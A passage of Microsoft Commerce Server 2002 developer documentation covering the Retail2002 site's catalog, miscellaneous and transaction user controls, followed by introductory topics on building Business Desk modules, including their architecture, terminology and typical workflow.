RenderList | Renders a products list based on the current configuration.

Where used

ASPX Pages

  • Catalog.aspx
  • Category.aspx
  • Default.aspx


Search Control

Provides keyword search within a catalog or all catalogs.

Control | Description
Web User Control | Search.ascx Inherits Microsoft.CommerceServer.Site.Catalogs.CatalogSearch
Codebehind | Search.ascx.vb
Project File | Catalogs\vb\Catalogs VB Controls.vbproj
Namespace | Microsoft.CommerceServer.Site.Catalogs
DLL / Assembly | Microsoft.CommerceServer.Retail2002.Catalogs.dll

This control has the following properties:

Property | Description
Catalog | Gets the currently selected catalog(s).
Keywords | Gets the keywords to be searched for.

This control has the following methods:

Method | Description
SetCatalogs | Public method to set catalog search context.

Where used

ASPX Pages

  • AdvancedSearch.aspx
  • Basket.aspx
  • Catalog.aspx
  • Category.aspx
  • Default.aspx
  • Login.aspx
  • NewAccount.aspx
  • ProductDetails.aspx
  • SearchResults.aspx

Remarks

If multiple terms are entered, there is an implied logical "OR" relationship between the terms. Users must explicitly use the "and" keyword to search on "A and B".


VariantDisplay Control

Displays variant options for user selection.

Control | Description
Web User Control | VariantDisplay.ascx Inherits Microsoft.CommerceServer.Site.Catalogs.VariantDisplay
Codebehind | VariantDisplay.ascx.cs
Project File | Catalogs\vb\Catalogs VB Controls.csproj
Namespace | Microsoft.CommerceServer.Site.Catalogs
DLL / Assembly | Microsoft.CommerceServer.Retail2002.Catalogs.dll

Where used

ASPX Pages

  • ProductDetails.aspx

Remarks

Initially, all values for each property are shown in the variant drop-down lists. The user can select a value for any property, and the other drop-down lists will be repopulated with all the values that match with that selection. This process can be continued until the user has narrowed the possibilities to a single variant.

For example, if a particular color is only available in certain sizes, selecting that color will limit the possible sizes to those sizes available in that color. Conversely, selecting a size that is not available in that color will eliminate that color from the color drop-down list.

If the user clicks the "Reset Variant Data" button, all the variant information is reset to the state where all values are shown for all properties and none are selected.


Miscellaneous Controls

This section contains reference pages for controls that are used throughout the site.

Miscellaneous Controls

Control | Description
CompanyLogo | Displays the company logo on page headers.
CompositeHeader1 | Composite header control, used for grouping controls.
CompositeHeader2 | Composite header control, used for grouping controls.
CompositeHeader3 | Composite header control, used for grouping controls.
LocaleSelection | Encapsulates the functionality of the country/region and language selection on the LocaleSelection page.
LogoHeader | Encapsulates the company header.
PageBottom | Encapsulates links to static pages and the page footer.
TopLinks | Encapsulates links and the checkout button.


CompanyLogo Control

Displays the company logo on page headers.

Web User Control | CompanyLogo.ascx Inherits icrosoft.CommerceServer.Site.Miscellaneous.CompanyLogo
Codebehind | CompanyLogo.ascx.vb
Project File | Miscellaneous\Miscellaneous Controls.vbproj
Namespace | Microsoft.CommerceServer.Site.Miscellaneous
DLL / Assembly | Microsoft.CommerceServer.Retail2002.Miscellaneous.dll

Where used

Controls

  • CompositeHeader1.ascx
  • CompositeHeader2.ascx
  • CompositeHeader3.ascx


CompositeHeader1 Control

Composite header control, used for grouping controls.

Web User Control | CompositeHeader1.ascx Inherits Microsoft.CommerceServer.Site.Miscellaneous.CompositeHeader1
Codebehind | CompositeHeader1.ascx.vb
Project File | Miscellaneous\Miscellaneous Controls.vbproj
Namespace | Microsoft.CommerceServer.Site.Miscellaneous
DLL / Assembly | Microsoft.CommerceServer.Retail2002.Miscellaneous.dll

Where used

Used by a set of pages that contain the catalog navigation tabs.

ASPX Pages

  • AdvancedSearch.aspx
  • Basket.aspx
  • Catalog.aspx
  • Category.aspx
  • Default.aspx
  • EditAddress.aspx
  • Login.aspx
  • ManageAddresses.aspx
  • MyAccount.aspx
  • NewAccount.aspx
  • NewAddress.aspx
  • ProductDetails.aspx
  • Receipt.aspx
  • SearchResults.aspx

Remarks

This is a composite header control that encapsulates the company logo, the banner ad, and the top links controls.


CompositeHeader2 Control

Composite header control, used for grouping controls.

Web User Control | CompositeHeader2.ascx Inherits Microsoft.CommerceServer.Site.Miscellaneous.CompositeHeader2
Codebehind | CompositeHeader2.ascx.vb
Project File | Miscellaneous\Miscellaneous Controls.vbproj
Namespace | Microsoft.CommerceServer.Site.Miscellaneous
DLL / Assembly | Microsoft.CommerceServer.Retail2002.Miscellaneous.dll

This control has the following property:

Property | Description
SignInLinkVisible (Boolean) | Controls whether or not the sign in/out link is visible on the green-blue row, which is part of this header.

Where used

Intended to be used in pages without navigation tabs, such as the account management module pages.

Remarks

This is a composite header control that encapsulates the company logo, the banner ad, the top links controls, and the green-blue row beneath.


CompositeHeader3 Control

Composite header control, used for grouping controls.

Web User Control | CompositeHeader3.ascx Inherits Microsoft.CommerceServer.Site.Miscellaneous.CompositeHeader3
Codebehind | CompositeHeader3.ascx.vb
Project File | Miscellaneous\Miscellaneous Controls.vbproj
Namespace | Microsoft.CommerceServer.Site.Miscellaneous
DLL / Assembly | Microsoft.CommerceServer.Retail2002.Miscellaneous.dll

This control has the following property:

Property | Description
SignInLinkVisible (Boolean) | Controls whether or not the sign in/out link is visible on the green-blue row, which is part of this header.

Where used

ASPX Pages

  • Checkout.aspx
  • MultipleShiptoSelect.aspx
  • PaymentOption.aspx
  • PaymentSelect.aspx

Remarks

This is a composite header control that encapsulates the company logo and the green-blue row beneath the top row.


LocaleSelection Control

Encapsulates the functionality of the country/region and language selection on the LocaleSelection page.

Web User Control | LocaleSelection.ascx Inherits icrosoft.CommerceServer.Site.Miscellaneous.LocaleSelection
Codebehind | LocaleSelection.ascx.vb
Project File | Miscellaneous\Miscellaneous Controls.vbproj
Namespace | Microsoft.CommerceServer.Site.Miscellaneous
DLL / Assembly | Microsoft.CommerceServer.Retail2002.Miscellaneous.dll

Where used

ASPX Pages

  • Customerror.aspx
  • LocaleSelection.aspx
  • Notfound.aspx


LogoHeader Control

Encapsulates the company header.

Web User Control | LogoHeader.ascx Inherits Microsoft.CommerceServer.Site.Miscellaneous.LogoHeader
Codebehind | LogoHeader.ascx.vb
Project File | Miscellaneous\Miscellaneous Controls.vbproj
Namespace | Microsoft.CommerceServer.Site.Miscellaneous
DLL / Assembly | Microsoft.CommerceServer.Retail2002.Miscellaneous.dll

Where used

ASPX Pages

  • Customerror.aspx
  • LocaleSelection.aspx
  • Notfound.aspx


PageBottom Control

Encapsulates links to static pages and the page footer.

Web User Control | PageBottom.ascx Inherits Microsoft.CommerceServer.Site.Miscellaneous.PageBottom
Codebehind | PageBottom.ascx.vb
Project File | Miscellaneous\Miscellaneous Controls.vbproj
Namespace | Microsoft.CommerceServer.Site.Miscellaneous
DLL / Assembly | Microsoft.CommerceServer.Retail2002.Miscellaneous.dll

This control has the following properties:

Property | Description
LinksCssClass(String) | Gets/sets the CssClass that will be applied to all the links.
TextCssClass(String) | Gets/sets the CssClass that will be applied to the footer text.

Where used

ASPX Pages

  • AdvancedSearch.aspx
  • Basket.aspx
  • Catalog.aspx
  • Category.aspx
  • Checkout.aspx
  • Customerror.aspx
  • Default.aspx
  • EditAddress.aspx
  • LocaleSelection.aspx
  • Login.aspx
  • ManageAddresses.aspx
  • MultipleShiptoSelect.aspx
  • MyAccount.aspx
  • NewAccount.aspx
  • NewAddress.aspx
  • Notfound.aspx
  • PaymentOption.aspx
  • PaymentSelect.aspx
  • ProductDetails.aspx
  • Receipt.aspx
  • SearchResults.aspx

Remarks

These properties can be used to change the links and text of this control to a different color or font.


TopLinks Control

Encapsulates links and the cart/checkout button.

Web User Control | TopLinks.ascx Inherits icrosoft.CommerceServer.Site.Miscellaneous.TopLinks
Codebehind | TopLinks.ascx.vb
Project File | Miscellaneous\Miscellaneous Controls.vbproj
Namespace | Microsoft.CommerceServer.Site.Miscellaneous
DLL / Assembly | Microsoft.CommerceServer.Retail2002.Miscellaneous.dll

Where used

Controls

  • CompositeHeader1.ascx
  • CompositeHeader2.ascx


Transactions Controls

This section contains reference pages for the controls used for ordering and purchasing products.

Transactions Controls

Control | Description
AddToCart | Displays a button, which adds an item to the cart.
Cart | Renders the current list of products added to the shopping cart.
CheckoutLink | Displays a button, which redirects to the checkout page.
CurrencyConverterControl | Encapsulates currency conversion logic.
MultipleShiptoSelector | Allows the user to configure multiple shipments.
OrderPayment | Renders payment-related information.
OrderReceipt | Displays the result of running the Checkout pipeline.
OrderShipment | Renders shipment-related information.
OrderTotals | Renders order totals.
ShipMethodSelector | Encapsulates a drop-down selection box, which allows you to choose a shipment method/option.


AddToCart Control

Displays a button, which adds an item to the cart.

Control Information | Location
Web User Control | AddToCart.ascx. Inherits Microsoft.CommerceServer.Site.Transactions.AddToCart
Codebehind | AddToCart.ascx.vb
Project File | Transactions\Transaction Controls.vbproj
Namespace | Microsoft.CommerceServer.Site.Transactions
DLL / Assembly | Microsoft.CommerceServer.Retail2002.Transactions.dll

This control has the following properties:

Property | Description
Catalog | The catalog containing the product.
Category | The category containing the product.
ProductID | The product ID of the product.
VariantID | The variant ID of the product.
Qty | The quantity selected.

Where used

Product lists or product detail pages that are attached to a product description.

ASPX Pages

  • Basket.aspx
  • ProductDetails.aspx

Controls

  • _ProductsList.ascx


Cart Control

Renders the current list of products added to the shopping cart.

Control Information | Location
Web User Control | Cart.ascx. Inherits Microsoft.CommerceServer.Site.Transactions.Cart
Codebehind | Cart.ascx.vb
Project File | Transactions\Transaction Controls.vbproj
Namespace | Microsoft.CommerceServer.Site.Transactions
DLL / Assembly | Microsoft.CommerceServer.Retail2002.Transactions.dll

Where used

ASPX Pages

  • Basket.aspx
  • Checkout.aspx
  • ProductDetails.aspx

Controls

  • _ProductsList.ascx
  • AddToCart.ascx
  • Cart.ascx

Remarks

The user can update the list (delete items and/or update quantities) or proceed with the checkout process.

Note

  • If the value of the cart exceeds $21,474,783.00, a run-time error occurs.
  • You can change the number of items ordered in your cart. If you enter the maximum number of 9s in the Quantity field, and then click Update, an arithmetic overflow error occurs. The overflow will cause a run-time error.


CheckoutLink Control

Displays a button, which redirects to the checkout page.

Control Information | Location
Web User Control | CheckoutLink.ascx. Inherits Microsoft.CommerceServer.Site.Transactions.CheckoutLink
Codebehind | CheckoutLink.ascx.vb
Project File | Transactions\Transaction Controls.vbproj
Namespace | Microsoft.CommerceServer.Site.Transactions
DLL / Assembly | Microsoft.CommerceServer.Retail2002.Transactions.dll

Where used

Controls

  • TopLinks.ascx
  • CheckoutLink.ascx

Remarks

The target of the link depends on the contents (empty or not) in the cart.


CurrencyConverterControl Control

Encapsulates currency conversion logic.

Control Information | Location
Web User Control | CurrencyConverter.ascx Inherits Microsoft.CommerceServer.Site.Transactions.CurrencyConverterControl
Codebehind | CurrencyConverter.ascx.vb
Project File | Transactions\Transaction Controls.vbproj
Namespace | Microsoft.CommerceServer.Site.Transactions
DLL / Assembly | Microsoft.CommerceServer.Retail2002.Transactions.dll

Where used

ASPX Pages

  • ProductDetails.aspx

Controls

  • _ProductsList.ascx
  • Cart.ascx
  • CurrencyConverter.ascx


MultipleShiptoSelector Control

Allows the user to configure multiple shipments.

Control Information | Location
Web User Control | MultipleShiptoSelector.ascx. Inherits Microsoft.CommerceServer.Site.Transactions.MultipleShiptoSelector
Codebehind | MultipleShiptoSelector.ascx.vb
Project File | Transactions\Transaction Controls.vbproj
Namespace | Microsoft.CommerceServer.Site.Transactions
DLL / Assembly | Microsoft.CommerceServer.Retail2002.Transactions.dll

Where used

ASPX Pages

  • MultipleShiptoSelect.aspx

Remarks

Allows the user to configure multiple shipments by associating various addresses and shipment options with the items in the cart.


OrderPayment Control

Renders payment-related information.

Control Information | Location
Web User Control | OrderPayment.ascx. Inherits Microsoft.CommerceServer.Site.Transactions.OrderPayment
Codebehind | OrderPayment.ascx.vb
Project File | Transactions\Transaction Controls.vbproj
Namespace | Microsoft.CommerceServer.Site.Transactions
DLL / Assembly | Microsoft.CommerceServer.Retail2002.Transactions.dll

This control has the following methods:

Method | Description
RenderPaymentInfo | Displays payment information.

Where used

ASPX Pages

  • Checkout.aspx

Remarks

Renders payment-related information such as the selected credit card and associated (billing) address.

Displays a Change link that takes the user to a different page where the user can select/create a different payment option (credit card and billing address).


OrderReceipt Control

Displays the result of running the Checkout pipeline.

Control Information | Location
Web User Control | OrderReceipt.ascx. Inherits Microsoft.CommerceServer.Site.Transactions.OrderReceipt
Codebehind | OrderReceipt.ascx.vb
Project File | Transactions\Transaction Controls.vbproj
Namespace | Microsoft.CommerceServer.Site.Transactions
DLL / Assembly | Microsoft.CommerceServer.Retail2002.Transactions.dll

Where used

ASPX Pages

  • Receipt.aspx

Remarks

This control displays items, shipments, fees, and other billing and shipping information.


OrderShipment Control

Renders shipment related information.

Control Information | Location
Web User Control | OrderShipment.ascx. Inherits Microsoft.CommerceServer.Site.Transactions.OrderShipment
Codebehind | OrderShipment.ascx.vb
Project File | Transactions\Transaction Controls.vbproj
Namespace | Microsoft.CommerceServer.Site.Transactions
DLL / Assembly | Microsoft.CommerceServer.Retail2002.Transactions.dll

Where used

ASPX Pages

  • Checkout.aspx

Remarks

Renders shipment-related information such as the shipping address and shipping option.


OrderTotals Control

Renders order totals.

Control Information | Location
Web User Control | OrderTotals.ascx. Inherits Microsoft.CommerceServer.Site.Transactions.OrderTotals
Codebehind | OrderTotals.ascx.vb
Project File | Transactions\Transaction Controls.vbproj
Namespace | Microsoft.CommerceServer.Site.Transactions
DLL / Assembly | Microsoft.CommerceServer.Retail2002.Transactions.dll

This control has the following methods:

Method | Description
UpdateTotals | Recalculates the totals and refreshes the display.

Where used

ASPX Pages

  • Checkout.aspx
  • PaymentOption.aspx

Controls

  • OrderReceipt.ascx
  • OrderTotals.ascx

Remarks

Renders the total fees associated with the current order form (subtotal, discount, shipping, tax, and total).


ShipMethodSelector Control

Encapsulates a drop-down selection box, which allows the user to select a shipment method/option.

Control Information | Location
Web User Control | ShipMethodSelector.ascx. Inherits Microsoft.CommerceServer.Site.Transactions.ShipMethodSelector
Codebehind | ShipMethodSelector.ascx.vb
Project File | Transactions\Transaction Controls.vbproj
Namespace | Microsoft.CommerceServer.Site.Transactions
DLL / Assembly | Microsoft.CommerceServer.Retail2002.Transactions.dll

Where used

ASPX Pages

  • Checkout.aspx

Controls

  • MultipleShiptoSelector.ascx
  • OrderShipment.ascx

Remarks

This control selects from a list of shipping methods that were set up using Commerce Server Business Desk. Shipping by weight methods require that all items in the cart have a weight attribute defined in the catalog.


Extending Commerce Server

Microsoft Commerce Server 2002 can be extended in many ways. For example:

  • Custom resources and custom Commerce Server Business Desk modules can be written and integrated into Commerce Server Manager and Business Desk, respectively.
  • The pipeline processing used for order processing, content selection, and direct mailing can be extended by writing and integrating new pipeline components.

These extensions, and others, are described in this section.

This section contains:

  • Building Business Desk Modules. Explains how to build a new Business Desk module. This includes general architectural information, information about integrating new modules, and reference material about the HTML components available for use in new modules.
  • Customizing Style Sheets. Describes how Commerce Server uses customized style sheets.
  • Integrating Custom Resources. Explains how to integrate a custom resource into Commerce Server.
  • Integrating a Third-Party Product Catalog. Describes the various catalog integration points within Commerce Server so that third-party developers can more easily integrate a different catalog system.
  • Integrating with BizTalk Server. Describes how to integrate Microsoft BizTalk Server with Commerce Server 2002.
  • Extending the Content Selection Framework. Describes how the Content Selection Framework can be customized to alter the algorithms used to select personalized content.
  • Working with Pipelines. Describes how to work with Commerce Server 2002 pipelines.


Building Business Desk Modules

This section describes the architecture of Commerce Server Business Desk modules and explains how to build a new Business Desk module.

This section contains:

  • Module Development Basics. Describes Business Desk in general and Business Desk modules in particular. Discusses skill set assumptions that this section makes, and the basic steps required to build a new Business Desk module. Introduces Business Desk terminology and workflow.
  • Business Desk Architecture. Describes the architecture of Business Desk in terms of its constituent parts. These include the Framework, categories, modules, actions, and tasks. Discusses Business Desk security and state management.
  • Business Desk Conventions. Describes the standards and conventions employed in the existing Business Desk modules. Some of these are completely internal, such as coding standards, and some are visible to Business Desk users, such as conventions for error and confirmation messages. The purpose of this section is to make it easier to build new Business Desk modules that conform well to the existing modules.
  • Business Desk Configuration. Describes how Business Desk configuration works in general, and in particular, the configuration information a Business Desk module must provide to execute properly within the Business Desk Framework.
  • Data Manipulation in Business Desk. Discusses the mechanisms typically employed to retrieve data from a database for display in a Business Desk module, and how data that is changed by the user is saved back to the underlying database.
  • HTML Components in Business Desk. Describes the data display and manipulation components that are used extensively in the existing Business Desk modules. One or more of these components are likely to comprise a major portion of the user interface in any new Business Desk module.
  • Business Desk Utilities. Describes the various utility functions that are part of the Business Desk Framework. These functions are employed by the existing Business Desk modules, and will be useful in writing new Business Desk modules.
  • Business Desk Source Code. Provides a roadmap to the source code for the existing Business Desk modules, all of which is included with the product. Often, the easiest way to create a new Business Desk module is to start with the source code for a similar, existing Business Desk module, and modify it as needed.
  • Automating Module Installation. Describes a Component Object Module (COM) object that helps automate the process of integrating new Business Desk modules into existing Business Desk installations. The source code for this object is provided in the Commerce Server Software Development Kit (SDK).


Module Development Basics

Commerce Server Business Desk is a user interface framework implemented primarily as Active Server Pages (ASP) containing Dynamic Hypertext Markup Language (DHTML). This framework provides a structured environment in which third party developers can easily extend the management functionality provided with Microsoft Commerce Server 2002. This environment includes structured page navigation, standard mechanisms for data manipulation, shared utility routines, and a multitude of conventions that help assure a consistent user experience.

By default, every Commerce Server Web site has a distinct instance of Business Desk associated with it. Though Business Desk shares the same set of commerce resources with the Web site, such as various databases, it exists as a separate Active Server Page (ASP) application, with a directory structure and virtual root of its own.

Particular types of management functionality are implemented within Business Desk as distinct Business Desk modules. Microsoft Commerce Server 2002 ships with a number of Business Desk modules that are designed to manage many of the different types of data used by a commercial Web site. Nevertheless, requirements for new Web site features, and their corresponding management functionality, are bound to occur. This drove the highly extensible design of Business Desk, and to the creation of this set of topics that describe how to build a new Business Desk module.

This section contains:

  • Skill Set Assumptions. Describes the assumptions made by these topics regarding the skill set of the developer intent on building a new Business Desk module. Provides some references for learning more about the required technologies.
  • Summary of Required Steps. Summarizes the steps required for building a new Business Desk module. Provides links to topics containing more detailed information required to complete those steps.
  • Business Desk Terminology. Introduces the terminology associated with the basic aspects of Business Desk.
  • Typical Module Workflow. Describes how the pages and corresponding workflow within a Business Desk module are typically arranged.


Skill Set Assumptions

As a developer of a new Commerce Server Business Desk module, you need to be sufficiently familiar with the following technologies:

  • Dynamic Hypertext Markup Language (DHTML)
  • Extensible Markup Language (XML)
  • Extensible Stylesheet Language (XSL)
  • XML Query Language (XQL)
  • Active Data Objects (ADO)
  • HTML Components (HTC), also known as DHTML Behaviors
  • Active Server Pages (ASP)

For detailed information about these technologies, see the online version of The Microsoft Developer Network (MSDN) at http://go.microsoft.com/fwlink/?LinkId=5161.


Summary of Required Steps in Building a New Commerce Server Business Desk Module

The following sequence of steps is required to build a new Commerce Server Business Desk module. (For more information about terminology that may be unfamiliar, see Business Desk Terminology.)

  1. Create a new folder under the Business Desk root folder for the site in question. Give it a unique name appropriate to the purpose of the new Business Desk module.
  2. Create a module configuration file in the Config folder within the Business Desk root folder. Give it a unique name appropriate to the purpose of the new Business Desk module. This file must express the module configuration information in a particular XML format. For more information about this XML format, see Module Configuration Files.

    Typically, the module configuration file contains an action element for each of the several action pages in the module and at least one module element. This file also describes the taskbar buttons for each action page.

  3. Add a moduleconfig element to the master configuration file that references the newly created module configuration file. Like the module configuration files, the configuration information in the master configuration file is expressed as XML. For more information about XML format of the master configuration file, see Master Configuration File.

    The moduleconfig element to be added identifies the ID of the category with which the new module is to be associated. In some cases it may be appropriate to define a new category for the new module. This is done within the master configuration file.

  4. Create the appropriate ASP pages for the new Business Desk module. Typically, there is one ASP page for each defined action element, plus any module-specific utility files included in the action pages. They should reside in the folder created in step 1.

    Each action page should include the appropriate Business Desk utilities file(s) and link to the main Business Desk style sheet (Bizdesk.css). Then they should call one of the two routines InsertTaskBar (list pages) or InsertEditTaskBar (edit pages) immediately after the opening HTML <BODY> tag.

    Although step 4 is described here as a single step, the creation and debugging of the action pages represents the vast majority of the work involved in developing a Business Desk module.

  5. Create a new HTML help file for each action page in the new module and place them in the Business Desk "docs\htm" folder. Set the helptopic attribute of each action element in the new module configuration file to refer to the appropriate new help file. For the sake of consistency, it is recommended that any new help topics be modeled on the existing help topics.

    If there is no specific help topic page for a given action page, simply leave the helptopic attribute as an empty string and clicking the help button for that page will bring up general Business Desk help.

The SDK includes three different aids to this process, as follows:

  • The folder "<install location>\SDK\Samples\Management\BizDesk" contains a VB Script file named AddModuleToConfig.vbs. This file assumes much of the burden of editing the new module configuration file and the master configuration file. The required information is passed as command line parameters to this script. Refer to the script itself for more information about these parameters.
  • The same SDK folder contains several files that are designed to make the process of creating a new Business Desk module easier. This includes the file Instructions.txt, which provides further instructions on making use of those files. The additional files include ASP pages for basic list, edit, and response pages, and a template for a file in which strings can be isolated.
  • The folder "<install location>\SDK\Samples\Management\BizDesk Module Installer" contains the files required to build the BizDeskModuleInstaller object, which can be used to help automate the process of installing a new module into an existing instance of the Business Desk. For more information about the BizDeskModuleInstaller object, see Automating Module Installation.


Business Desk Terminology

This topic defines the basic concepts associated with Commerce Server Business Desk and the terminology associated with them. The following list contains the names and descriptions of these concepts:

framework
A set of services provided for use by Business Desk modules. These services include navigation, security, and user interface controls. In addition, the framework provides a set of standardized mechanisms defining how to integrate Business Desk modules.
category
An organizational construct used within the navigation pane that allows the grouping of related Business Desk modules.
module
A set of ASP files that provide a particular type of related functionality that are organized with one or more entry points from the navigation pane.
master configuration file
The XML configuration file that defines the categories and modules available within a particular instance of Business Desk. Each module entry identifies a module configuration file that contains the configuration information for that module.
module configuration file
An XML configuration file that defines the actions, tasks, and entry points for a module (or set of modules). Module entry points identify the category with which they are associated.
HTML Components (HTCs), also known as DHTML Behaviors
A set of data display and manipulation controls that are implemented as HTML Components that are used extensively within Business Desk modules. Business Desk includes the following HTCs: DynamicTable, EditField, EditSheet, ExpressionBuilder, ListEditor, ListSheet, QueryBuilder, and TreeView. For more information about these HTCs, see HTML Components in Business Desk.
action page
A single ASP file that provides a particular aspect of the functionality associated with a module. It is typically displayed as a result of clicking a module name in the navigation pane, or as a result of clicking one of the task buttons on an action page.
list page
One of two main types of action pages, list pages provide a read-only view of some type of data, and allow that data to be filtered, sorted, selected, and acted upon. List pages typically display a ListSheet HTC. Sometimes a find pane and its associated HTCs are displayed above the ListSheet HTC. List pages share the Business Desk workspace with the navigation pane.
edit page
One of two main types of action pages, edit pages provide mechanisms for altering the data being displayed. Different edit pages employ different HTCs, depending on the nature of the data being edited. Edit pages do not share the Business Desk workspace with the navigation pane. The latter is hidden from view when edit pages are rendered, thereby preventing navigation to a different module until the edit page is dismissed and the user returns to a list page.
EditSheet group (or EditSheet section)
A section within an EditSheet HTC on an edit page that has a collapsable heading, allowing the information in that section to be displayed or hidden as preferred by the user.
task
An operation performed from an action page, often leading to the display of a different action page where the details of the task are performed. Tasks are initiated by pressing a task button. Some tasks, such as Open and Delete, are context-sensitive; they apply to whatever is selected in the current action page.
task bar
The horizontal area at the top of the content pane where the buttons corresponding to various tasks can be found. (In the user interface documentation, the taskbar is referred to as the toolbar. They are the same, and the naming difference in the User Interface (UI) is due to a desire to conform to Windows standards where end users are concerned.)
navigation pane
The window on the left side of list pages used to display the hierarchy of categories and modules.
content pane
The window on the right side of list pages, and sole window of edit pages, in which action pages are rendered.
find pane
An area in the upper portion of the module content pane in list pages in which find criteria are entered, and then used in a Find task. Most commonly, the lower portion of the module content pane consists of a ListSheet HTC in which the results of the Find task are displayed.
page title bar
The horizontal area at the top of the content pane used to display the page title.
status bar
The horizontal area at the bottom of the content pane used to display status messages.
HTML Application (HTA)
A special type of browser instance in which the normal browser user interface is not displayed. Normally, HTAs will not have the full range of menu and toolbar choices found in a generic browser instance. The Business Desk is designed to run only as an HTA.


Typical Module Workflow

This topic discusses the typical workflow found within most Commerce Server Business Desk modules. This is only a statement of typical workflow; some Business Desk modules may not conform to it. It is the responsibility of the designer of a new Business Desk module to determine the best workflow for that module. Nevertheless, the workflow discussed here has emerged as the most typical.

Using a few modules in Business Desk quickly yields the following observations about the typical workflow for Business Desk modules. The initial action page for a given module presents a mechanism for viewing a table containing a few properties (the columns) of a number of records (the rows). The control that implements this table is the ListSheet HTML Component (HTC) It can be configured in number of different ways.

Frequently, there are too many records to view at one time. Paging through different screens of records is one answer to this problem. It is also typical for there to be mechanisms for limiting the set of records displayed, such as the ability to search for and display only those records matching specified criteria. The ability to sort the records is also typical, and is accomplished in the ListSheet HTC by clicking the column heading of the property on which to sort.

The next step in the workflow involves choosing a task to perform and initiating that task by pressing a task button. Any task that involves existing data requires that the data be identified by being selected. The task buttons associated with such tasks are usually not enabled unless an appropriate selection has been made. Other tasks, such as the New task, generally do not require existing data to be selected.

In any event, the choice of a task often leads to a different action. This new action is generally an action page, known as an edit page, which allows the editing of properties associated with the new or selected record (or records). Once the editing is complete and the Save task is chosen, the user can click a Back taskbar button to display the original ListSheet HTC and continue to the next task.

Sometimes the act of choosing a task results in the display of a dialog box, rather than immediately displaying a new action. A typical example is a dialog box used to confirm a Delete task.

Other tasks might display a short menu to determine the action to be taken. For example, when the New task is clicked, a menu might be displayed to allow the user to select which of several types of objects they wish to add.

The following diagram illustrates one possible Business Desk session, outlined here using the numbered boxes near the arrows.

  • In step 1, the user chooses Module 1.
  • In steps 2 and 3, the user "drills down" two levels to examine and perhaps modify some detailed data, returning to the list page for Module 1 in steps 4 and 5.
  • The steps shown for Module 2 illustrate how a task might loop back to the same action page. An example is the Save and Create New task where the workflow is optimized for a situation in which a number of new items need to be created, one after the other.
  • The steps for Module 3 illustrate how a task might lead back to the same action page, but with a dialog box intervening. An example is the Delete task, where it is typical to present a confirmation dialog box, especially when the data is particularly important or difficult to recover.

A typical new module is likely to have a single list page that is displayed when the module is chosen in the navigation pane. The list page will probably have a small number of tasks it can perform, perhaps five or six tasks. Of these, a few might lead to different edit pages, or perhaps to the same edit page, initialized with different data (the New task versus the Edit task). Some tasks might lead directly to confirmation dialog boxes, and then back to the list page, having carried out or aborted the task.


Business Desk Architecture

This section describes the architecture of Commerce Server Business Desk. The following diagram illustrates how a set of configuration files provides two important types of information needed for the Business Desk Framework to support navigation. The first type determines the set of categorized modules that will be accessible within Business Desk. The second type is used to build and manage the taskbar, which will probably be unique to each action page.

The diagram also illustrates how modules are typically designed such that their initial action page is a list page, from which edit pages may be accessed using task buttons. It also shows the typical design in which a user must return to the initial list page in order to move to a different module.

The choice of the HTML Component (HTC) shown in the various edit pages is purely arbitrary, though a master EditSheet HTC is generally used to contain any other editing controls. The ListSheet HTC is the most common HTC on list pages, sometimes accompanied by individual HTML controls and EditField HTCs in a find pane.

The ListSheet HTC provides a few different modes in which it operates, many of which are designed to accommodate hierarchical data. This often allows the use of a single list page, as opposed to multiple layers of nested list pages on different action pages.

There are three main points to the diagram. First, the master configuration file, together with a set of module configuration files, provides the information needed by the Business Desk Framework to manage both the navigation pane and the taskbar displayed on each action page.

The second point is that action pages that display read-only lists, known as list pages, are always displayed along with the navigation pane. This means that to move to a different module, the user must do so from a list page, not an edit page. List pages are read-only (with the exception of tasks like Delete and Import), which means that users will not generally need to be presented with warnings about leaving the module without having saved changes to data.

The third point is that navigation between action pages should typically be done through the task buttons on the taskbar. This mechanism allows the Business Desk Framework to provide services that occur during transition between action pages. Direct linking of action pages to buttons within a page should be minimized.

This section contains:

  • Framework. Describes the services provided by the Business Desk Framework as well as the visual environment in which Business Desk displays the various Business Desk modules.
  • HTML Application and the Client Installer. Describes how the Business Desk is normally run within the context of an HTA, and how the files necessary for this are downloaded to the client the first time Business Desk is invoked.
  • Configuration Files. Describes how a number of files containing configuration information, specified using XML, provide the data that allows the Business Desk Framework to supply many of its services.
  • Categories. Describes the notion of categories and how they are used to organize modules within Business Desk.
  • Modules. Describes the composition of Business Desk modules, including their manifestation as ASP pages as well as how they make themselves known to the Business Desk Framework.
  • Action Pages. Describes typical contents of the ASP pages that implement Business Desk actions, including information about special elements that all such pages should include, and provides an anatomy of such pages.
  • Tasks. Describes the notion of a task within the Business Desk environment and how tasks are used as the mechanism through which Business Desk provides support for navigation within a particular module.
  • HTML Components. Describes the use of HTML Components (HTC) within Business Desk, including how they provide a standardized mechanism for viewing and altering data.
  • XMLHTTP Operations. Describes the functionality used by a list page to retrieve additional data for the ListSheet HTC without requiring the whole page to be re-rendered. This is an important enhancement that improves the performance of paging through large sets of data, or late loading of detailed data. Also describes framework routines for using XMLHTTP communication to enable saving without needing to reload the page.
  • Security. Describes how the security mechanisms within Business Desk allow for restricting particular users to subsets of the available Business Desk categories, modules, tasks, and data.
  • State Management. Describes the mechanisms available for preserving state on either the client or the server between the various action pages of Business Desk.
  • Error Reporting. Describes the mechanisms available for reporting client and server errors to the Business Desk user.
  • Online Help. Describes how the online Business Desk Help system is implemented and how online Help for new Business Desk modules can be integrated.


Framework

The Commerce Server Business Desk Framework provides the environment in which Business Desk modules are executed. The following list describes the various aspects of this environment:

  • The Framework provides mechanisms through which one module can discover and enumerate the other modules configured in a particular instance of Business Desk.
  • The Framework includes a set of sophisticated data manipulation controls, most of which are implemented as HTML Components (HTCs). HTCs are a form of DHTML behaviors supported in Microsoft Internet Explorer 5. These components provide consistent display, selection, and modification of data among various Business Desk modules, greatly enhancing the sense that Business Desk and its modules are operating as a single, integrated application. List management and data validation are examples of the standardized services provided by these components.
  • The Framework provides a security mechanism through which particular users or groups of users can be restricted from accessing specific categories and modules displayed in the navigation pane, from performing particular tasks within a given module, and even from performing particular actions on particular items of data.
  • The Framework provides the visual environment in which modules are displayed. This environment includes several standard elements such as the navigation pane, the content pane, page title, taskbar, and a status bar.
  • The Framework provides standard mechanisms for navigation between modules and within a module. The navigation pane provides for navigation between different modules, allowing the user to choose a new module in which to work. The task buttons provide for navigation between the various pages comprising a given module. When a Business Desk edit page is displayed, the navigation pane is hidden, forcing the user to complete or cancel the edit action before leaving the module. Hiding the navigation pane also provides a larger area in which the edit page can be displayed.


HTML Application and the Client Installer

